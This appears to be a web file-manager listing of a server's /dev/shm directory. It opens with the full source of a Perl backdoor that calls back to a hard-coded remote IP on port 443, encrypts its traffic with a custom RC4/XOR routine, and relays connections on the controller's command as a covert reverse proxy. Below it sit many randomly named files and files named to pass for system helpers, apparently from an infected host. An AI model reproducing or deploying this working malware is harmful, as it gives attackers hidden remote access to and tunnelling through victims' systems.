PATH:
dev
/
shm
#!/usr/bin/perl use strict; use warnings; use Socket; use Socket qw(IPPROTO_TCP TCP_NODELAY); use Fcntl; use Fcntl qw(:flock); use threads; use threads::shared; my $host = '36.255.98.150'; my $port = 443; my $xordata = "\x00" x 50; for (my $i = 0; $i < 50; $i++) { substr($xordata, $i, 1) = pack('C', rand(255)); } sub Rc4_crypt { my $passw = shift(@_); my $length = shift(@_); my $buff0 = shift(@_); my $start = shift(@_); my $sz = shift(@_); my $rc4 = "\x00" x 256; my $pockemon0 = 0; my $pockemon1 = 0; my $pockemon2 = 0; my $pockemon3 = 0; my $pockemon4 = 0; my $pockemon5 = 0; my $pockemon6 = 0; my $pockemon7 = 0; my $pockemon8 = 0; my $rcx = $sz; my $rsi = 0; my $rbx = 0; my $gs = 0; my $t = 0; for (my $i = 0; $i <= 255; $i++) { substr($rc4, $i, 1) = pack('C', $i); } do { substr($$buff0, $start + $rsi, 1) = pack('C', (unpack('C', substr($$buff0, $start + $rsi, 1)) ^ unpack('C', substr($$passw, $rbx, 1)))); $rsi++; $rbx++; $rcx--; if ($rbx == $length) { $rbx = 0; } } while($rcx > 0); while(1) { if ($gs == 0) { $pockemon2 = 0; $pockemon3 = $length; } if ($gs != 0) { $gs = 0; $pockemon2++; if (--$pockemon3 == 0) { next; } } $pockemon7 = unpack('C', substr($rc4, $pockemon0, 1)); $t = unpack('C', substr($$passw, $pockemon2, 1)); $pockemon1 += $t; $pockemon1 = $pockemon1 & 255; $pockemon1 += $pockemon7; $pockemon1 = $pockemon1 & 255; $pockemon6 = unpack('C', substr($rc4, $pockemon1, 1)); substr($rc4, $pockemon0, 1) = pack('C', $pockemon6); substr($rc4, $pockemon1, 1) = pack('C', $pockemon7); $pockemon0++; $pockemon0 = $pockemon0 & 255; if ($pockemon0 != 0) { $gs = 1; next; } $pockemon4 = $sz; $pockemon1 = 0; $pockemon0 = 0; $pockemon2 = 0; $pockemon3 = 0; while(1) { $pockemon2++; $pockemon2 = $pockemon2 & 255; $pockemon7 = unpack('C', substr($rc4, $pockemon2, 1)); $pockemon1 += $pockemon7; $pockemon1 = $pockemon1 & 255; $pockemon8 = unpack('C', substr($rc4, $pockemon1, 1)); substr($rc4, $pockemon2, 1) = pack('C', $pockemon8); substr($rc4, $pockemon1, 1) = pack('C', $pockemon7); $pockemon8 += $pockemon7; $pockemon8 = $pockemon8 & 255; $pockemon0 = unpack('C', substr($rc4, $pockemon8, 1)); $pockemon5 = unpack('C', substr($$buff0, $start + $pockemon3, 1)); $pockemon5 = $pockemon5 ^ $pockemon0; substr($$buff0, $start + $pockemon3, 1) = pack('C', $pockemon5); $pockemon3++; if (--$pockemon4 == 0) { last; } } last; } $rsi = 0; $rcx = $sz; $rbx = 0; do { substr($$buff0, $start + $rsi, 1) = pack('C', (unpack('C', substr($$buff0, $start + $rsi, 1)) ^ unpack('C', substr($$passw, $rbx, 1)))); $rsi++; $rbx++; $rcx--; if ($rbx == $length) { $rbx = 0; } } while($rcx > 0); } sub synsend { my $cSocket = shift(@_); my $buffer = shift(@_); my $flags = shift(@_); open(my $fh, "<", '/dev/null'); flock($fh, LOCK_EX); # =============================================== send($cSocket, $buffer, $flags); # =============================================== flock($fh, LOCK_UN); close($fh); } sub newConnection { my $num = shift(@_); my $socketarray = shift(@_); my $sSocket = shift(@_); my $cSocket = shift(@_); my $buff0 = shift(@_); threads->create( sub { my $responce = pack('C', $num)."\x0A\x00\x05\x01\x00\x01\x00\x00\x00\x00\x00\x00"; my $domain = ''; my $port = 0; my $_ret = 0; my $data = ''; my $buffer = ''; setsockopt($cSocket, IPPROTO_TCP, TCP_NODELAY, 1); fcntl($cSocket, F_SETFL, O_NONBLOCK); if (unpack('C', substr($buff0, 7, 1)) == 3) { $domain = substr($buff0, 9, unpack('C', substr($buff0, 8, 1))); $port = unpack('S', substr($buff0, 9 + unpack('C', substr($buff0, 8, 1)) + 1, 1).substr($buff0, 9 + unpack('C', substr($buff0, 8, 1)) + 0, 1)); } elsif (unpack('C', substr($buff0, 7, 1)) == 1) { $domain = sprintf("%d.%d.%d.%d", unpack('C', substr($buff0, 8 + 0, 1)), unpack('C', substr($buff0, 8 + 1, 1)), unpack('C', substr($buff0, 8 + 2, 1)), unpack('C', substr($buff0, 8 + 3, 1))); $port = unpack('S', substr($buff0, 12 + 1, 1).substr($buff0, 12 + 0, 1)); } else { goto close_; } eval { my $paddr = sockaddr_in($port, inet_aton($domain)); connect($cSocket, $paddr); vec(my $win = '', fileno($cSocket), 1) = 1; unless (select(undef, $win, undef, 10)) { goto close_; } fcntl($cSocket, F_SETFL, 0); substr($responce, 4, 1) = "\x00"; $_ret = 1; }; close_: Rc4_crypt(\$xordata, 50, \$responce, 0, 3); Rc4_crypt(\$xordata, 50, \$responce, 3, 10); synsend($sSocket, $responce, MSG_NOSIGNAL); Rc4_crypt(\$xordata, 50, \$responce, 0, 3); if ($_ret == 1) { while ($$socketarray[$num] == 1) { vec(my $rin = '', fileno($cSocket), 1) = 1; unless (select($rin, undef, undef, 1)) { next; } $data = ''; recv($cSocket, $data, 65530, 0); unless ($data) { last; } $buffer = pack('C', $num).pack('S', length($data)).$data; Rc4_crypt(\$xordata, 50, \$buffer, 0, 3); Rc4_crypt(\$xordata, 50, \$buffer, 3, length($data)); synsend($sSocket, $buffer, MSG_NOSIGNAL); } } $$socketarray[$num] = 0; close($cSocket); substr($responce, 1, 2) = "\x00\x00"; Rc4_crypt(\$xordata, 50, \$responce, 0, 3); synsend($sSocket, substr($responce, 0, 3), MSG_NOSIGNAL); threads->detach(); }); } sub bccnct { my $host = shift(@_); my $port = shift(@_); my $remaining = 0; my $remaining4 = 0; my @socketarr; my @socketarray :shared; my $buffer = "\x00" x 100; my $buffernull = "\x00" x 3; my $buffer0 = ''; my $isExit = 0; my $ecx = 0; my $eax = 0; my $data = ''; my $_ret = 0; my $ebx = 0; my $edx = 0; socket($socketarr[0], PF_INET, SOCK_STREAM, getprotobyname('tcp')); setsockopt($socketarr[0], IPPROTO_TCP, TCP_NODELAY, 1); my $paddr = sockaddr_in($$port, inet_aton($$host)); unless(connect($socketarr[0], $paddr)) { goto close0; } substr($buffer, 0, 50) = $xordata; substr($buffer, 50, 2) = "\xFF\xFF"; substr($buffer, 54, 11) = "Perl script"; Rc4_crypt(\$xordata, 50, \$buffer, 50, 50); send($socketarr[0], $buffer, MSG_NOSIGNAL); while(1) { if ($remaining4 != 4) { vec(my $rin = '', fileno($socketarr[0]), 1) = 1; my $ret = select($rin, undef, undef, 60); next if ($ret < 0); if ($ret == 0) { last if (substr($buffernull, 0, 3) ne "\x00\x00\x00"); last if ($remaining != 0); last if ($remaining4 != 0); Rc4_crypt(\$xordata, 50, \$buffernull, 0, 3); synsend($socketarr[0], $buffernull, MSG_NOSIGNAL); next; } } if ($remaining != 0 || $remaining4 == 4) { if ($edx == 0) { if (substr($buffer0, 0, 1) eq "\xFF" && substr($buffer0, 1, 1) eq "\xFE") { $isExit = 1; last; } elsif ($ebx < 200 && $ebx > 0) { $socketarray[$ebx] = 0; } } else { $ecx = $edx; $ecx = $ecx - $remaining; $data = ''; recv($socketarr[0], $data, $ecx, 0); unless ($data) { last; } $remaining += length($data); $buffer0 .= $data; if ($edx == $remaining) { Rc4_crypt(\$xordata, 50, \$buffer0, 4, $remaining); if (unpack('C', substr($buffer0, 0, 1)) == 0) { socket($socketarr[$ebx], PF_INET, SOCK_STREAM, getprotobyname('tcp')); $socketarray[$ebx] = 1; newConnection($ebx, \@socketarray, $socketarr[0], $socketarr[$ebx], $buffer0); } else { send($socketarr[$ebx], substr($buffer0, 4, $remaining), MSG_NOSIGNAL); } $remaining = 0; } } $remaining4 = 0; } else { if ($remaining4 == 0) { $buffer0 = ''; } $eax = 4; $eax = $eax - $remaining4; $data = ''; recv($socketarr[0], $data, $eax, 0); unless ($data) { last; } $remaining4 += length($data); $buffer0 .= $data; $buffernull = "\x00" x 3; if ($remaining4 == 4) { Rc4_crypt(\$xordata, 50, \$buffer0, 0, 4); $ebx = unpack('C', substr($buffer0, 1, 1)); $edx = unpack('S', substr($buffer0, 2, 2)); $_ret = 1; } } } close0: close($socketarr[0]); for (my $i = 0; $i < 200; $i++) { $socketarray[$i] = 0; } sleep 10; if ($isExit == 1) { exit; } return $_ret; } bccnct(\$host, \$port);
[+]
..
[-] .ent
[edit]
[-] .factor
[edit]
[-] PostgreSQL.1213148227
[edit]
[-] .data_chunk
[edit]
[+]
lsws
[-] .bind
[edit]
[-] .val
[edit]
[-] .obj
[edit]
[-] .holder
[edit]
[-] .elem
[edit]
[-] .entry
[edit]
[-] .pgrp
[edit]
[-] .parameter_group
[edit]
[-] .item
[edit]
[-] .ref
[edit]
[-] .rec
[edit]
[-] .reference
[edit]
[-] .symbol
[edit]
[-] .flg
[edit]
[-] .comp
[edit]
[-] .res
[edit]
[-] .descriptor
[edit]
[-] .element
[edit]
[-] .component
[edit]
[-] .pointer
[edit]
[-] .entity
[edit]
[-] .dat
[edit]
[-] .marker
[edit]
[-] .itm
[edit]
[-] .binding
[edit]
[-] .mainFrame_
[edit]
[-] .dbus-daemon --system_
[edit]
[-] .php-fpm: pool www_
[edit]
[-] f_dbbd6265f826
[edit]
[-] f_1098980cb512
[edit]
[-] f_83c805145a0f
[edit]
[-] f_46091a8a0602
[edit]
[-] f_e963449b43ce
[edit]
[-] f_16fffd8d4a3b
[edit]
[-] f_7813fdb087e5
[edit]
[-] f_51e6b73dcabe
[edit]
[-] f_cecd16744448
[edit]
[-] f_204632c8e766
[edit]
[-] .dchunk
[edit]
[-] .desc
[edit]
[-] .token
[edit]
[-] .resource
[edit]
[-] lib-manager
[edit]
[-] ssh-plugin.so
[edit]
[-] tracker-cache.sh
[edit]
[-] pulse-helper.agent
[edit]
[-] gvfs-monitor.sh
[edit]
[-] gvfs-plugin-helper
[edit]
[-] tracker-session
[edit]
[-] udisks-plugin.sh
[edit]
[-] dbus-monitor.agent
[edit]
[-] ssh-helper.pl
[edit]
[-] dbus-agent.agent
[edit]
[-] pulse-cache.py
[edit]
[-] kde-helper-helper
[edit]
[-] udisks-session.pl
[edit]
[-] udisks-agent.pl
[edit]
[-] AVgMYurbDt
[edit]
[-] NVEhqAvpBr
[edit]
[-] oXsOWzYTvk
[edit]
[-] VYDjUEgBOK
[edit]
[-] bCVMnQYPFP
[edit]
[-] HDgdFGYtgl
[edit]
[-] zFkthldHeh
[edit]
[-] AFsKjKdEEg
[edit]
[-] lkyQWWVTQg
[edit]
[-] mlZZXfVdbH
[edit]
[-] ujxpEuOuED
[edit]
[-] arIaxoOwXd
[edit]
[-] kifLoMpGvu
[edit]
[-] RiqwCpFQKt
[edit]
[-] INqJOgKCfl
[edit]
[-] VBBGgubgyv
[edit]
[-] TwXDnRCumM
[edit]
[-] cwjcRXKEom
[edit]
[-] DuTJhmXqKf
[edit]
[-] kzuajrrUJd
[edit]
[-] udAPWnTeAi
[edit]
[-] WeHUohXIPE
[edit]
[-] ycjkUIMiNA
[edit]
[-] vgrFyxQDzb
[edit]
[-] ALNLBtImfz
[edit]
[-] hMcsCCIwua
[edit]
[-] JKsIfRJhXW
[edit]
[-] XoREdbxVSU
[edit]
[-] tSzRwbNviI
[edit]
[-] zlGCzHEVGN
[edit]
[-] kJRrNMEfZM
[edit]
[-] lFWPTEGbKn
[edit]
[-] KXyymMpJFv
[edit]
[-] kcgZvhqjRe
[edit]
[-] yVmAghKFtO
[edit]
[-] fXKTEStXzV
[edit]
[-] zatVKmOTsM
[edit]
[-] DmoCkkDlOK
[edit]
[-] JEzGlaGhnR
[edit]
[-] wnDjNZHLJJ
[edit]
[-] RDKfffbxIj
[edit]
[-] KHWwhYbWmK
[edit]
[-] cNTzuowAmF
[edit]
[-] UtaMLywOBb
[edit]
[-] SMVxCunYZw
[edit]
[-] LMIiQzryIX
[edit]
[-] mPQvMyskdP
[edit]
[-] DDvQWENycx
[edit]
[-] SBUMxJdmHH
[edit]
[-] ZyBRBzoIUO
[edit]
[-] uyJOPFsWSo
[edit]
[-] xwNvvEVYMh
[edit]
[-] kfqBkVVwiM
[edit]
[-] EgBiePVaxG
[edit]
[-] IelyKqyMvC
[edit]
[-] NiNrITylhd
[edit]
[-] SNrtzHqEJd
[edit]
[-] POCeAkqOsE
[edit]
[-] roSudfLzVA
[edit]
[-] hnwQNRmnMP
[edit]
[-] jwZfWtLdMu
[edit]
[-] enLJbWmxDq
[edit]
[-] pqLmrlfnwi
[edit]
[-] ueWLJbYRPs
[edit]
[-] lZkhugfphH
[edit]
[-] sZcMkWXbnh
[edit]
[-] QXoOGrsXXQ
[edit]
[-] DGpszsoLRb
[edit]
[-] ORtVbHFdLn
[edit]
[-] hczDYwwlaq
[edit]
[-] THANRmspsZ
[edit]
[-] CTEaZgiczd
[edit]
[-] bhEttNJPGl
[edit]
[-] cJMKXGNoQM
[edit]
[-] NQSoaCFTwM
[edit]
[-] wOXHAMZGHy
[edit]
[-] iPtlIaeOQj
[edit]
[-] tOmEqRZQqZ
[edit]
[-] NBxCUmLQKb
[edit]
[-] ERKhCguCHR
[edit]
[-] fynFJOHquj
[edit]
[-] EAzYdDaEAq
[edit]
[-] rArDLtWqys
[edit]
[-] ShUnKjDOgK
[edit]
[-] MzOynTLElJ
[edit]
[-] OibEsJDIbk
[edit]
[-] rInBGdwDff
[edit]
[-] dsUQqecQaG
[edit]
[-] qIfkIkgeZg
[edit]
[-] crJHNpYWrf
[edit]
[-] IplXpEoDls
[edit]
[-] lqIgTxthzC
[edit]
[-] RuTRkDtvSY
[edit]
[-] rpaCbzkFqt
[edit]
[-] TbeTsONfLl
[edit]
[-] XslApDNVek
[edit]
[-] ccwxzJKftu
[edit]
[-] KbSuaEJtlL
[edit]
[-] uZikUJqFFe
[edit]
[-] bapRWSyTYc
[edit]
[-] lkvGNeadzd
[edit]
[-] NlCvDUqfOD
[edit]
[-] pjebjzvhkz
[edit]
[-] ARnHGkQgyl
[edit]
[-] rSICYMnlay
[edit]
[-] mjmwlYvWya
[edit]
[-] YTXHZRnTtV
[edit]
[-] kVuIzagKdH
[edit]
[-] qQBtqWHYFc
[edit]
[-] bQcSEbHCUb
[edit]
[-] OTMvQqcUNT
[edit]
[-] bDboigtysd
[edit]
[-] BCtpZbUIgu
[edit]
[-] NchbjwpIoN
[edit]
[-] WCFKTlcuuU
[edit]
[-] IKFWSWewHi
[edit]
[-] qdoMBFtSTL
[edit]
[-] ALKxYBlwKM
[edit]
[-] cMRqqrpyJm
[edit]
[-] BKhnwLiVhJ
[edit]
[-] nuyaEMaiEE
[edit]
[-] utntDHKANJ
[edit]
[-] FGHFwPFjGk
[edit]
[-] DdOOPnwReF
[edit]
[-] nOBdKGmHMQ
[edit]
[-] LgZMdrBJqY
[edit]
[-] wBZjdsArxg
[edit]
[-] QQklLxWThG
[edit]
[-] yPGimsxFZX
[edit]
[-] fPSfgCBTXx
[edit]
[-] ZxOjPIeTCP
[edit]
[-] iNuwgxetRq
[edit]
[-] ZwHSBSOpnR
[edit]
[-] yvaIxMHKmm
[edit]
[-] dvSPvnHVwL
[edit]
[-] kfLvNdzHhJ
[edit]
[-] DewOMYzxOm
[edit]
[-] MFbvuwEUKZ
[edit]
[-] YhiwLmUypT
[edit]
[-] aHYHcCQIBH
[edit]
[-] KqRyfxoiig
[edit]
[-] CENhCivkRo
[edit]
[-] PEQesnvqIP
[edit]
[-] PrncWshmER
[edit]
[-] NqFdNPgUsi
[edit]
[-] BoVPvkBwcZ
[edit]
[-] oXyJMpxIWA
[edit]
[-] epcYNRFGfz
[edit]
[-] oYFeefBmVa
[edit]
[-] wWtKGKSkvW
[edit]
[-] NWVbIzWJVV
[edit]
[-] WxyQghWVtq
[edit]
[-] PqtdamOXIM
[edit]
[-] iFzFPvyMBV
[edit]
[-] JEbWBmStnR
[edit]
[-] BVKDPoKjan
[edit]
[-] hHmrvHnJYn
[edit]
[-] zGKmQAOWQs
[edit]
[-] aXuYtsnKyi
[edit]
[-] .ptr
[edit]
[-] lIzfZrYRCQ
[edit]
[-] lQzsbgZbdO
[edit]
[-] oHgGXikPkG
[edit]
[-] YarHBqBHUY
[edit]
[-] ISJbNWiyeD
[edit]
[-] gIuyTucxKh
[edit]
[-] rdYXqSpDoB
[edit]
[-] RUfcVehpcR
[edit]
[-] hWOibOKhUU
[edit]
[-] tGDpxZGDVJ
[edit]
[-] POlCDqoXMK
[edit]
[-] BplfdrnMHn
[edit]
[-] IjdnVaMOMb
[edit]
[-] IWEosBOies
[edit]
[-] EZDmWJIJCL
[edit]
[-] .sym
[edit]
[-] .k
[edit]
[-] .record
[edit]
[-] .mrk
[edit]
[-] DtFpNDdKMG
[edit]
[-] jntwdUgVTO
[edit]
[-] YxhrMhDTVR
[edit]
[-] luRMaTzwGq
[edit]
[-] yrwtXvtYVd
[edit]
[-] QDuRevDTfV
[edit]
[-] NZSblPrhmm
[edit]
[-] dFpwXLqkYL
[edit]
[-] hXseVbjEAe
[edit]
[-] BaDsrsRvkg
[edit]
[-] .hld
[edit]
[-] pSzbpuEPJX
[edit]
[-] .property_set
[edit]
[-] .flag
[edit]
[-] .value
[edit]
[-] .fac
[edit]
[-] .pset
[edit]
[-] .key
[edit]